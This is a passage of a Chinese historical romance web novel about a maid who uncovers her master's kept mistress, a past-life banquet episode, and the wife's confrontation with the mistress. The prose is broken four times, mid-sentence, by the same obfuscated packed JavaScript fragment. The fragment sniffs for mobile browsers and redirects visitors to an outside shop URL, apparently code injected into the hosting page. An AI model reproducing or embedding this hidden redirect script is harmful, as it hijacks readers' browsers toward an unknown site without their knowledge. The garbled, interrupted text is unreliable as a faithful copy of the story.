哪有那样纠结？她只不过是不想放弃在白香居的快活日子，又偏偏为自己找个说辞，特地来彰显她所做不过都并非她愿意的，只不过时也命也，她抵抗不得。 听松叹口气，上前为宋白棠扇风。 “娘子莫要苦恼了，公子也是爱重您这个姐姐的才会与老爷起了争执。” 她话锋陡然一转，“老爷不是说今日要前来陪您吗？想来快到时候了……” 她话还未曾说完，就见秦佩三步并作两步上前，身后跟着的小厮青崖，手中提了一把东西，竟是拿也拿不下。 既有京中冠芳楼的胭脂水粉新品，又有芙蓉斋里极难排到的糕点。 秦佩握上宋白棠的手，眼里满是疼惜。 “棠儿，几日未见，你又瘦了些。” 宋白棠却在此时闹起了脾气，她甩开秦佩的手，转过身去，拿个背影与秦佩相对。 她婉声开口，声音哀怨不已。 “妾欲与君绝，不若此生不复相见……行之，你既打了妾的弟弟，那便如同打了妾……” 而此刻，白香居的院墙外，折枝带着夏荷偷听。 此处低矮，又靠近碧水塘的凉亭，故而里边有什么动静是可以听到些的。 种种话语，都让夏荷心惊肉跳。 她硬生生把自己的指甲都掐进肉里才抑制住快要惊呼出声的本能。 “呸！真是不要脸！” 这等子话也好在青天白日的讲！ 折枝拉着夏荷赶紧离开，害怕有人发现她们正在此处偷听，一路躲躲藏藏到底是来了与车夫约定好的地方。 果然见到那车夫等在原地，正在一个书斋门口。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533284|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 折枝拉着夏荷往那驴车那边去。 那车夫随口过问了几句。 “两位姑娘怎么去了这么久，事情可还都办妥了？” 他自是看到夏荷脸色不怎么好，便多嘴问了一句。 夏荷明显还沉浸在方才的情形当中，惊恐得忘记了回答，倒是旁边坐着的折枝替她答了。 “小姐上回说了想吃这边的天香楼的酱鸭，本是想捎带一些回去的。怎想快排到了店家才说已经售罄，又不好空着手回去罢，只能带些果子回去，又多等了些时候。” 果然见折枝手中拎了个纸包。 夏荷才从恍惚当中回神，一双眼看向折枝时早多了几分欣赏之色。 她方才竟还想着直接回绝那车夫让他别管多的，只管赶车便好。 如今回了神想到才是不好。 尚且不知这车夫和老爷有没有关系，即便是没有，别人好意问问，骤然回绝失了体面，惹得车夫不快，倒还真说不准会不会去悄悄告密。 至于果子，是方才在茶摊没吃完的罢了。 夏荷埋怨道：“小姐哪稀罕你这果子，府上自有厨子，哪样的糕点果子做不得？” 折枝眨眨眼，也叹了口气。 “姐姐的话有道理，我虽想讨小姐欢心，却也不想马屁都拍到腿肚子上。”她顿一顿，看向外边赶车的车夫，看着年纪不小，“不知哥哥家中可有妻儿？左右小姐也看不上我等买的果子，不若哥哥将这些果子带回去给嫂嫂侄儿吧！” 车夫笑着应了，赶车也愈发卖力。 天晚欲雨，阴云笼罩在城中。 折枝撩起车帘，才发觉有细密的雨丝飘在空中。 还未入夜，天却是已如入夜一样黑了。 又是一炷香功夫，车夫已经将驴车赶至了侧门。夏荷先下了去，留下折枝将果子递给了车夫。 和车夫又寒暄了几句，折枝目送她离开，才转身抬起手准备进门。 雨丝本是微凉，却迟迟不见滴在她的手上。 折枝抬起头，对上一双深邃的眼睛。 少年的桃花眼潋滟无双，宛若深潭泛起的碧波，轻易也勾起人心底里的涟漪。 “姑娘好巧。” 折枝慌忙低下头，却不敢看他。 纵使上一世见惯风月，可遇见他这样干净的少年还是慌了神。 她声音弱弱，有些难以隐藏的惧怕。 “奴婢……奴婢不敢当。崔公子，您怎么在这？” 崔彦林并未解释，也并未问她为什么对上自己时会怕，只是将手上的油纸伞塞在她的手里，不容她拒绝，便从她身侧移走。 “雨渐大了，姑娘莫要着凉。” “崔……” 崔彦林回头，见到折枝撑着伞望着她。 许多年前动恻隐之心之时，他并未注意到她究竟长何模样，甚至都不知她姓名。 直到后来一次，祁阳王府宴请众宾客。觥筹交错之间，他遇见姗姗来迟的折枝娘子。 折枝娘子不喜言笑，只是望着他的眼神中分外明亮。接着她盈盈施礼，感恩他多年前的救命之恩。 他甚至不记得自己究竟何时救过她。 15. 相逢（前世） 或许当他当年决定去干涉另外一个人的死活的那一瞬，便决定了，他们之间的缘分绝不会止步与此。 …… * 前世。 岐王宅里寻常见，崔九堂前几度闻。 正是江南好风景，落花时节又逢君。 杏花疏影，红绸交织。 推杯换盏，觥筹交错，众宾客起坐喧哗。祁阳王坐在首位，抱臂接受众位的奉承。 一位长须圆脸中年男子举起酒樽，朝着祁阳王楚靖一鞠，笑容满面。 他声音洪亮如钟，响在众人耳侧：“王爷，老臣敬您一杯。金杯盛美酒，玉盘传芳香。臣愿王爷福寿绵绵，千秋万代。” 他伸出手，宽大的衣袖挡住圆脸。旋即，那中年男子将酒樽里的酒一饮而尽。 场中众臣脸色各异，都只是默不作声地喝酒。 无一人应答，只留下场中丝竹声不绝。 方才向祁阳王敬酒的正是明威将军郭庆，跟随他征战多年，自然是唯祁阳王马首是瞻。 可剩下的宾客，却无一人是祁阳王麾下的，却都是未曾表态的言官武官。 只是主座上的祁阳王楚靖，看着极为高兴，又邀着诸位喝酒吃菜。 “诸位只管尽兴！不醉……不归！” 崔彦林微不可见地蹙了蹙眉，接着同众位宾客一般抬起手臂，用宽袖掩住脸，又将樽中清酒倒入喉中。 千秋万代？ 世上担得上千秋万代的，岂会是一个被困于京城的异姓王？ 司马昭之心，路人皆知罢了。 他并无心关注这些，却也感受到场面凝重了几分。 话说这祁阳王楚靖，乃是与当今的异姓兄弟，战功赫赫。少年时惊才绝艳，貌若潘安，守己复礼，及冠之前曾是京中所有未嫁少女的春闺梦里人。 只是那楚靖及冠之后，脾气愈发暴戾乖张，更是流连秦楼楚馆乐不思蜀，像是变了一个人似的。谁要是上半句说了惹他不快的话，下半句便永远没机会再说出口了。 此时朝中忙于站队，却分为三队。 一队仍旧支持那愚笨无知的年幼太子，乃为保守派。另外一队却以为不能因循守旧，长公主虽为女儿身，可却是皇室血脉中最能继承大统之人。 第三队，从来为朝臣不耻，被视为乱臣贼子之辈，冒天下之大不韪。祁阳王虽为异姓王，可追寻祖上，倒也算是萧氏王朝子弟。只因外祖姓萧，可连宗室都算不上。 崔家不在三队任何一队之列。 他今日前来赴宴，不过是因为父亲曾对他言。 “彦林。你兄长已入朝为官，为父又是朝中左相，你姊姊即将入宫。你二堂兄已被外放，三堂兄更是今年受到举荐，入了朝廷。彦林，为父曾经为你取下这个名，为的就是崔家彦士如林。可惜如今彦林满矣，你又是家中幼子，无需入朝，更不必做官。” “诚此多事之秋，我崔家唯能指望你从中斡旋。” …… 他沉默地灌着酒，始重觉得心中有口浊气堵在心底上下难安。 佳肴美酒前是身姿婀娜的舞姬翩翩起舞，丝竹之声绕梁不绝于耳，可他只视若无睹，恍若未闻。 楚靖喝得脸颊飞红，眯着迷离的双眼扫视着在场的各位宾客。忽地，他视线在边上一位身着月白色刻丝锦袍的少年身上停留一瞬。 “崔小公子，怎么一个人在此喝闷酒？实在是不痛快！” 崔彦林倒酒的动作停滞片刻，眼看着楚靖喝昏了头指了指石台上前边正在弹曲的乐伎。 那女子一身酡红色杭绸月华裙，上边绣着缠枝纹，裙边垂着流苏，衬得她肤白如雪。脸上的轻纱被人用风吹起，交杂着杏花，人面花面交相映。 “折枝娘子！” “方才琴曲竟是折枝娘子所奏！难怪如此动听！” 折枝娘子只是抿了抿唇，一双秋水似的多情眸子看了看祁阳王，声音婉转，宛若黄莺啼叫。 “妾身献丑了。” 她盈盈蹲下身，如同弱柳扶风，缓缓施了一礼。 崔彦林循着众人的目光一同看向她，莫名想起杜子美的那首《江南逢李龟年》。折枝娘子名动京师，京中权贵趋之若鹜，因此在各种玩乐的宴席当中，总能寻觅到她的身影。 朝中风波渐起，如今三足鼎立，诡谲难测。朝中的人也是人来人往矣，几年光景下来，京中格局大改，唯一不变的便是这位折枝娘子了。 楚靖哈哈大笑，布满疤痕老茧的掌在梨花木矮桌上狠狠一拍，又道。 “折枝娘子一曲，哪里能算做献丑！” 他话音一落，又看向崔彦林，眼中带上几分戏谑之色。 “折枝娘子，这位是左相崔闫家中的幼子，可是有京中第一公子的美名，你可曾在乐坊里见过这个第一公子前去寻欢作乐？” 众宾客闻言，神情也逐渐松懈下来。 想来是开始为难崔彦林了，便不会轻易为难他们。 不过还是有人替崔彦林说话。 “王爷，崔小公子年少，哪里懂得这些？” 楚靖不悦地皱起眉头，手才一抬起，那个替崔彦林说话的小官早已头冒冷汗，双唇上下打颤，什么也不敢多说了。 崔彦林举起酒杯，悬过头顶，轻描淡写地应了楚靖的为难之言：“在下自是担不上什么第一公子的名头的，王爷谬赞了。” 楚靖冷哼一声，“那既然如此，”楚靖顿了顿，笑得有些扭曲，“今日我就让荀可包下折枝娘子三月，全数留给你。还望崔小公子不要辜负本王一片心意。” 众人只当是楚靖是想要为难这个崔小公子，顺带也让折枝娘子受了折辱。 不想乐坊雅间红绸缎中，红鸾帐前。折枝坐在杌子上，面前摆着一张古琴，就这样淡淡看着眼前走进雅间就红了耳朵的少年。 “崔郎，你想听一曲什么？” 她纤长的手指扫在琴弦之上，朱唇轻启：“是凤求凰，雨霖铃，还是蝶恋花？” 崔彦林坐在一侧，正襟危坐。 “崔某不通音律，娘子不必为我演奏。” 他抬眼扫过折枝指腹的薄茧和指尖带着的护甲，又问：“方才娘子朝我道谢，为的是什么？” 他并不记得自己何时动过恻隐之心。他一向算无遗策，故而在面对所有人与事时常心中有数，甚至冷漠到见死不救。 “崔小公子可还记得从前的工部尚书秦佩？妾身曾是秦家的洒扫丫鬟，犯了错本来要被打死，但被公子出言劝诫救下了。” 折枝起身，离了杌子，朝地上郑重一跪，又道：“妾身一直寻不到感谢的机会，也想公子并不需要妾身这样卑贱之人的报恩。妾身发觉公子似是在祁阳王府寻什么东西，又险些被巡查的护卫遇见，便当众道谢。” 当众道谢是为了让别人以为是她约崔彦林私会，他才会四处乱走。 而崔彦林乱走之事，惹得祁阳王不快， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533285|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便借醉酒故意为难崔彦林。胡乱点了鸳鸯谱，是为了证实他和折枝娘子的确有染。 崔彦林清高亮节，必定不愿以这种人为伍，他若认了，他便不配再做这京城第一公子。他若不认，他便有了崔彦林擅闯王府禁地的罪证。 崔彦林伸出手，宽大的袖袍下掩住他青筋凸起的手，面上仍然冷若冰霜。 “娘子多礼，还请起来。” 他又道：“娘子，今日该是彦林谢你。” “祁阳王并非想为难某，”他眼神定定看向折枝，“他心中有大意。原先不懂得他究竟为何如此，现在彦林明白了。他曾经也有京城第一公子的名号，只是如今却变为了大乾第一浪荡子，你觉得其中是否有蹊跷？” “我幼时见过祁阳王，那时他还是世子，坐拥神武军兵符，北上大辽捷报不断。我曾不相信他就此堕落，便一直在追寻他改变的契机。” 红烛摇晃，支起的窗子前边有风飘动。 折枝前去床边关上了窗，随即撩起裙摆又坐在杌子上，手划在弦上，为他弹了一段《阳关三叠》。 劝君更尽一杯酒，西出阳关无故人。 故而祁阳王特地在宴席上向崔彦林发难，是为了让别人相信，他与崔彦林实在不合。 崔彦林端起一壶酒，给折枝斟了一杯，又替自己斟了一杯。 他说不通音律，那么折枝这曲便不是为他而弹的，可却又是为他而弹的。 一曲作罢，折枝停住手，笑意盈盈从崔彦林手边拿过他为她斟的酒，一饮而尽。 接着便摆动着步子，走至红鸾帐之上。 崔彦林仍旧坐在离红鸾帐极远的矮桌前，低垂着眼睛看杯中的酒。 折枝开始娇笑，对着空气自言自语。 “崔郎，你怎是柳下惠？” 酒杯被掷于地下，碎瓷溅了一地。 折枝伸出一双手，一把扯回帘子，发出刺啦一声。 “崔郎啊……看来你也不是个好人呀。” “崔郎……” 崔彦林红着脸，不知道是被烈酒熏红，还是被眼前的红纱照得通红，却在原地一动不动。 他遥遥与坐在床上的折枝眼神相望。什么话也没说，只是默默看着她。 看她红帐锁朱颜，听她琴音生莺啼。 他莫名觉得那双眼睛很悲。 她明明只是做戏，怎么像是真的受了折辱？还是因为在悲哀，乱世当中像她这样渺小的人甚至连身不由己的安排都无从拒绝？ 天露曦光，折枝睁眼便看见附在柱子旁睡着的崔彦林，却没有喊醒他。 可他睡眠极浅，发现身上被折枝盖着的褥子，又起身道谢：“多谢娘子。娘子，崔某还未曾问过你姓名？” 折枝福了一身，道：“妾身折枝。” 崔彦林摇头，“折枝是娘子的名，可崔某斗胆想知道娘子的姓。” 折枝那时候才知道，原来她一个贱籍之人也能有名有姓地活着。 她凄然一笑：“妾身姓沈，沈折枝。” 崔彦林附身，将薄衾捡起，规规矩矩放至了红鸾帐边。他忽然朝着折枝又鞠了一躬，表情莫名慎重。 说了话本子里所有穷书生都会说的那句话。 “崔某感激沈姑娘今日搭救之恩。待我事成，必将还沈姑娘一份安定。” 她那时候心中只有一句诗，敬她们之间的两相狼狈。 同为天涯沦落人，相逢何必曾相识。 16. 迎回 淅淅沥沥的雨溅在地上，打湿底下踩着的泥土。 泥浆被人一踩，斑斑点点染在百迭裙上。折枝收起伞，回到耳房将伞放至隐蔽之处。 这伞是个贵重东西，若是被别人发现了难保会惹出不该有的口舌之争。 放完伞，她便挡着手往蒹葭院里跑。 虽只迟了一些，可已经看见李氏已经屏退了下人，让覃姑姑守在门口，想来是在等她。 折枝进了厅内，果然见到李氏坐在榻上，正闭着眼轻柔地按着太阳穴，倏地开口。 “你为何回来的比夏荷晚些？” 她话音一落，守在门口的覃姑姑便立刻关了门，转而朝李氏使了个眼色示意已经安排妥当。 折枝缓缓跪下，附在地下，声音低低传来。 “回夫人的话，奴婢善后，向车夫嘱咐了几句，便让夏荷姐姐先回来复命。” 覃姑姑扫过她，朝李氏道：“倒是个做事周全的丫头。” 覃姑姑上前为李氏按头，又问她们：“今日查账发觉了些什么差池？带账本回来没有？” 夏荷同折枝一同跪着，抬头看着李氏，嗫嚅不敢言。 李氏得不到答案，便睁开眼睛望着这位跟在她身边多年的大丫鬟，只见她平日里稳重，如今却因为害怕而浑身发抖。 她语气一重：“说话！” 夏荷连忙俯身于地，过于紧张，竟带上了哭腔：“回夫人的话，账目没有问题……只是……只是……” “只是奴婢们看到了些不该看的。那……白香居里住了人，管事的因怕奴婢们发现，便先诓着奴婢走了。” 覃姑姑脸色一变，手上的动作一停，心里有了些考量。 “没得夫人准许，怎可擅自让私宅里住人？此等事早些禀报，夫人自然会打发家丁护院前去……” “夏荷，”李氏打断覃姑姑的话，未让她说完，自是知道覃姑姑想到了什么却不好让她多心，便亲自问出口：“我问你，那院子里住的是什么人？” 夏荷哭得更狠：“回夫人的话……那……那院子里住的，是老爷的外室！” “什么？！” “奴婢们自知被管事诓骗，便一直留了个心眼，等着驴车走远了才敢下来杀她们个回马枪……终于见了那院子里住的人，等到申时，又见老爷进去了呀！” “捕风捉影的东西！” 覃姑姑冷哼一声，宽慰地轻拍着李氏的肩膀，为她顺气。 她虽不知道此事真假，但想到李氏多年无子，又未曾张罗着替老爷纳妾，老爷不养外室，倒是真的难得。 原先是跟老爷提过好几次，他都婉拒了，李氏便也歇了心思。 京中盛传工部尚书秦佩专情无二，与夫人李氏情比金坚，京中贵女无不艳羡李氏。 李氏闻言，气得胸脯狠狠起伏片刻，幸得有覃姑姑在一旁顺气，不然怕是早就气晕了过去了。 她深深吐出一口浊气，眼睛又看向折枝，收了些怒气，“你说说看，可是真的？” 李氏心中自是知道夏荷说的八九不离十，但仍存着那么一两分希冀，希望折枝同她说不是。 折枝脸上即刻也挂上了泪珠，颤声回答她：“奴婢亲眼所见，还……还听见那外室青天白日里同老爷……” 她话还没说完，便被覃姑姑狠狠扇了一巴掌。 “说些什么混账话！” 她自然知道说这些话不妥，如同是在剜李氏的心。可若她不这样说，又怎能让李氏真的失望？ 覃姑姑的巴掌虽打得响亮，却实在不怎么重。 私心里也是想要李氏听听她说了些什么。 李氏现在才回过来神，瘫在榻上，脸色依旧难看，却没方才那副就快要气晕过去的神态了。 “我十六嫁与他为妻，十余年操持劳累，未敢怠慢。他曾在我父亲面前许诺一生一世一双人，我虽不指望他能够遵守诺言，只是……只是，他将人养在外面作什么！我并非善妒之辈，要纳妾我从不推拒，都任他纳了去！是他非不愿纳妾，那也就罢了！养外室又将我当做了什么？！” 覃姑姑赶忙上前扶着李氏，目露疼惜，接着又转过头来问夏荷：“你们可有打草惊蛇？” “未曾。奴婢怕被人发现，便躲在茶摊后边，亲眼瞧着老爷和身边的青崖都进去了，还关了门才敢上前偷听一嘴。确保无人发觉，所以回来得慢了些。” “好！好！” 李氏竟是怒极反笑，直起身子来重重一拍软榻旁边的檀香木矮桌，扫落一地糕点果子。 她不会骂人，便由着旁边的覃姑姑骂出声来。 “这做贼的狐媚子，偷人竟还知道躲着人偷！做娼的盗妇！真是不要脸！” 李氏气却已经消了大半，眼底一抹恨意闪过：“不必骂她了，想来最不要脸的人另有人在。至于没脸的，左右是我。” 眼泪无声滑落，衣襟已被润湿。 李氏用手抹了抹眼角的泪珠，又道：“好他个秦行之，既然要养外室，那便要轰轰烈烈的养！养在外边成何体统？须得风风光光恭恭敬敬迎回家中，让我的明月喊她做姨娘最好！” 时间一长，瞒也瞒不住，早些迎回，也免夜长梦多。 * 翌日，天还未亮。 秋水轩里边已经热闹起来了，今晨夫人房里的秋菊过来递话，说是要小姐今日打扮得隆重些。 折枝早早地就起了身去叫厨房烧了热水，有端着铜盆进了屋子里，看见翠云早就侍候在秦明月身边，正对着铜镜替秦明月梳发。 折枝端着铜盆立在一旁，听着外面几个擦地的丫鬟窃窃私语。 “听说昨夜老爷又多喝了酒，回来的时候是青崖搀着回来的，竟是醉的不省人事了呢。” “从前夫人见老爷醉酒，每回都要生一通气，昨夜倒是没有，真是稀奇了。” “这有什么？”那蹲着擦地的丫鬟小声道：“左右生不生气，老爷该应酬还得应酬，生气了也没用。” 折枝自诩不聪明，算计也不深，但好在耳朵够尖，足够灵敏， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533286|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故而做事总是谨慎些。 等到院子里有人来了，这些小丫鬟方才住嘴。 夏荷身后跟着两个小丫鬟，端着两个檀木盘子，里边又放了些首饰，看着像是给秦明月送来的。 她侧身，让几个小丫鬟端着盘子先到了她身前，才同秦明月说话。 “小姐，夫人命奴婢给小姐送些首饰，都是京中时兴的。” 秦明月招了招手，一边盘子里赫然躺了金珠琉璃璎珞，红宝石鎏金臂钏，白玉雕绞丝纹手镯。 另一边盘子里摆的是金镶绿松石耳坠，点翠金花华胜，另一只和田白玉戒子。 纵使秦明月见过大阵仗，也被这件件价值连城的场面给唬住了。 她惊讶着起了身，捂住嘴巴免得惊呼出声，只是扯着夏荷问：“夏荷姐姐，听闻父亲昨夜醉酒，母亲可是气糊涂了？” 否则她就要开始猜测是不是她做了些什么惹得母亲不快，母亲便赏了她这些以尽母女情分，以后再不管她了。 夏荷僵硬笑笑，答道：“小姐说的哪里的话。老爷虽然醉酒，可是为了应酬，左右今日休沐，夫人便随老爷去了。今日一早便差人给老爷送了醒酒汤，服侍老爷又睡下了。” “夫人说，待会带小姐出门，便要打扮得庄重些，越贵重越好呢。” 秦明月笑了笑，又眨眨眼睛招来了折枝：“上回你帮我上的妆我甚是喜欢，既然母亲这回这样看重，那就折枝来给我上妆吧！” 又添了几件新物，她心情极好。 听折枝与夏荷昨日说的，李氏和覃姑姑便知那外室舍不得外边的逍遥日子，轻易不愿回秦府。 约莫是养在外边，不知这京中富贵人家究竟有多奢靡。 一旦见到了这奢靡，她便不会轻易放手，就当好说动得多。 又怕仓促之间打草惊蛇，害那外室跑了，等秦佩回了秦府，李氏便派了人到白香居那边守着。从夜里便看顾着，确保一只苍蝇也飞不出来。 秦佩说是应酬，酒却真的喝了。怕瞒不过李氏，便真的把自己灌醉了，醉醺醺地回了。 昨夜就给秦佩喝了醒酒汤，一夜好眠，今晨又喝下，却是又睡下了。 青崖大早就被李氏差遣着去几个空置的院子里打扫，一干丫鬟婆子小厮看着，偷懒也偷不得。 昨日夫人去查账，他便想着夫人回来之后定会想着把空置的院子给腾出来。 左右老爷醉了酒，他也闲来无事，便听了夫人差遣来了空着的疏影阁打扫指点。 看见小姐从秋水轩出来，穿戴华丽贵重，正朝着蒹葭院走，旁边的小厮还凑过来问：“小姐今日可是要去赴宴？怎的穿得如此郑重？” 青崖一把打开那多嘴的小厮，远远地瞧着，“管这些闲事做什么？地上的落花可扫干净了？” 那小厮呵呵一笑，便不再多问了。 青崖瞧着秦明月心情似乎不错，正是爱玩的年纪，应是又随着夫人前去赴宴去了。 他无暇多想，便继续盯着别的下人继续清扫。 17. 姨娘 马车上。 李氏拉过秦明月的手，放在掌上，语重心长道：“月儿，方才在府里没有机会同你讲，如今得了机会了，母亲要告诉你一件事。” 李氏摩挲着秦明月的手，泪只无声掉下，砸在她与母亲交叠的手上，有些灼热。 秦明月只觉得心里没由来地心慌，看着李氏只叫她只说便是。 李氏一手撑在车轸上，另一双狠狠攥着秦明月。 纵使是经了一夜深思熟虑，可她仍旧难以相信那个承诺一生一世一双人的夫君，竟背着她在外边养了外室，可瞒的她好苦。 “我嫁与你父亲十余年，又是低嫁，辛苦操劳十余年。陪他从外放再到回京，里外之事，我从未行差踏错，才成就他如今官途顺畅啊……母亲福薄，膝下唯有你一女，身子也一直不好。可这些年不见他为你找些姨娘，你长至这样大，一直是京中贵女中最被人艳羡的。原先我以为他是个忠心的，对我矢志不渝……” “只是你父亲……怎能欺我如此……怎能负我如此！！” 秦明月看见母亲一副悲愤欲绝的模样，心中却是猛猛一沉。 支撑李氏的那口气终于散了。 她伏在秦明月的肩上呜呜哭出声，全身倚在她身上，似乎再无一分傲气。 “你父亲瞒着我……在外边养了外室……” …… 李氏派遣的护院果然将将白香居围得水泄不通，却并无人发觉。 李氏与秦明月下了车，早已恢复了平常神态。 李氏喊过来夏荷，在她身边耳语了几声，又问过覃姑姑：“今日让秋菊传完话去办事，可办妥了？” 覃姑姑轻声答道：“已经置办妥当，还请夫人放心。” 李氏冷哼一声，转身牵过秦明月的手站在门前。 秦明月虽方才在车上同李氏一起哭了会儿，现在却是没了痕迹，红肿的眼睛旁边上了妆粉，已然看不出来了。只当是上了什么京中时兴的妆容，两边又化了斜红，很是端庄娇俏。 覃姑姑站在门前叩了叩门。 许久后，才见里边来了个小厮，打着哈欠出来开门，语气十分不耐。 “谁啊！来干什么的！” 他揉了揉眼睛，半天不见有人应答。 最后竟是将门关上，又重新上了栓。 一时间，在场的婆子丫鬟主子脸上都有些挂不住，只是压着脾气。 脾气最大的秦明月竟也难得地没有发火，只是一双眼睛死死盯着那门环，冷冷哼了一声：“没长眼的东西！” 覃姑姑上前，又继续叩门道：“开门！快些开门！” 还是方才那个小厮，如今已经清醒过来了，话还没出口，便看见覃姑姑那张皮笑肉不笑的脸。 他随在私宅做事，但覃姑姑，他还是认得到！ 更何况覃姑姑后边，跟了乌央乌央一群人，饶是他再眼瞎也看出那为首的两人是谁了！ 他两腿颤颤，打着抖给眼前的人开了门。更是不敢去给钱管事报信，只敢垂着头给李氏等人带路。 到了正厅，李氏气定神闲地坐在了主位，又让那小厮前去请他家主子来。 那小厮抹了抹额前的冷汗，忙不迭跪在地上：“夫人，奴才的主子只有您和老爷啊！” 李氏只是慢悠悠摇着扇子，神色未变，甚至吝啬给他一句回答，只是拿着那双锐利的丹凤眼打量着他。 她向来打扮得素雅，今日却难得穿了件宝石红百蝶穿花褙子，没有表情，看着更是气势逼人。 秦明月冷哼一声：“怎么？本小姐算不得你的主子？” 那小厮叫苦不迭。 怎么就把这小祖宗给忘了？ 他忙往脸上扇了几巴掌，“奴才该死，奴才说错了话，奴才……” “好了……”覃姑姑引他起身，打了一巴掌又给颗甜枣，宽慰道：“夫人最为仁善，秦家也待下人不薄。说错了话不打紧，可别做错了事。” 那小厮被覃姑姑轻轻拍了拍，顿时明白了什么转身就往内院跑。 内院里。 听松正在指使寂月晒花瓣。 “你仔细些！娘子可要这些来研香粉，若晒得不好了，娘子起身了怕是要责罚！” 她听见外边有人急匆匆跑来，慌里慌张的。便支着手往外走，看到是前院守门的小厮冬生。 听松嗤了一嘴，用手拦住他：“干什么的！赶着去投胎吗？这里是内院，你这种看门小厮怎能随意进来？” 冬生脸上背后的冷汗汩汩地往外冒，往外吐着气：“听松姐姐，前……前厅里边有人要找娘子。” “娘子还未起身！你这个看门的怎么看的，这个时候能放人进来吗？” 冬生苦着张脸，却什么都不说了。 若是说了，万一娘子不肯去，他便是没能完成好差事。 再者这个狗仗人势的听松，他心中早已怨恨她许久，巴不得等会看她吃瘪。 里边已经有了动静，听松睨他一眼，警告他别进来，转身就去了房内服侍宋白棠。 更是添油加醋的将方才与冬生说的话讲与宋白棠听了。 宋白棠任着她为自己敷上妆粉，眯着眼睛问她：“行之不是今日休沐吗？可是他来了？” “瞧着不像。这守门的也忒散漫了，什么货色都放进来，要是妄图对娘子不好该如何是好？” 宋白棠想了想，又往头上簪了一只梅花发钗。 “怕什么，左右有行之庇护我。我且前去看看究竟为何而来……”她又附在听松耳边，不知道又说了些什么。 听松出了门，便喊了寂月前去服侍宋白棠去前厅。 冬生一路低着脑袋给宋白棠带路，感受着她的目光总有意无意扫过来。 “冬生，前边来的是什么人？” 冬生低着头擦了擦汗，才低声答道：“是……奴才不知，娘子前去前厅见了便知道是谁了。” 宋白棠倚在寂月身上，有一搭没一搭地摇着扇子，忽的，不知道想到什么，她哎呀一声停住。 她站在那雕花窗前边，望不见前厅的人，只是莫名觉得有些脊背发寒，便想着寻个由头还是回去内院罢了。 “忽然想起忘带了手绢，容我先回去拿了也不迟。冬生，你去叫前边的人先等我一等。” 冬生却是没有动。 宋白棠心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533287|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中大叫不妙，便将手附在寂月手上疾步往回走。 可还未走远，便看见一群家丁不知道从哪儿冒出来，拦住了她的去路，让她回去不得。 “放肆！哪来的奴才敢挡我们娘子的路！” 那前厅里边走出来一位中年妇人，穿着玄色褐麻短衫，头发被块棕褐色的棉布包裹住，瞧着打扮，应是个下人。 宋白棠不动声色地打量着她。 “娘子，还请借一步说话。” 左右她也回不去了，她便咬了咬银牙跟着过去了。 到了前厅，她才见着主位上坐着个雍容华贵的妇人，通身气度不凡。 那妇人座下，又坐了位小娘子，生得花容月貌，穿着更是富贵逼人。 宋白棠脸色霎时一白，瞬间明白是怎么回事了。 “我来晚了，二位等久了吧。” 她全身近乎脱力，只是被寂月搀扶着到了另一边的椅子上，堪堪坐下，始终不敢再看李氏和秦明月的脸色。 同她一道进来的覃姑姑见她如此，却是摇了摇头，声音尖厉：“放肆！主母未发话！你怎敢坐下！” 宋白棠吓得浑身一颤，如同被雨打湿的花儿，双腿一软，几乎快瘫倒在地。 脸上却装作不知情。 “主母？什么主母？” 李氏坐在上座，和善笑了笑道：“覃姑姑，莫要太凶，当心吓坏了妹妹。” 李氏摇了摇手中捏着的那柄绛色纳纱绣佛手花鸟团扇，转头给夏荷淡淡一眼。 夏荷立马会意前去，手中不知何时拿了个匣子，上边镶着金玉。 夏荷在宋白棠面前屈了屈身子，打开那匣子，里边装了只和田黄玉双璃手镯，是个贵重稀罕玩意，一时间叫宋白棠看直了眼睛。 “姨娘，这是夫人送您的见面礼。” 宋白棠自诩有点脑子，知道要是自己收下这镯子，便是承认了自己就是秦家的姨娘了。 她迟迟未动作，眼神却往那镯子上不动声色瞄了好几眼。 她讪笑道：“这位娘子……你这是作甚？” 李氏眼底划过一抹厌恶，很快被疑惑取代。她手上动作一停，上下打量了半晌，看着宋白棠追问：“你不是老爷养在外边的外室宋氏吗？” 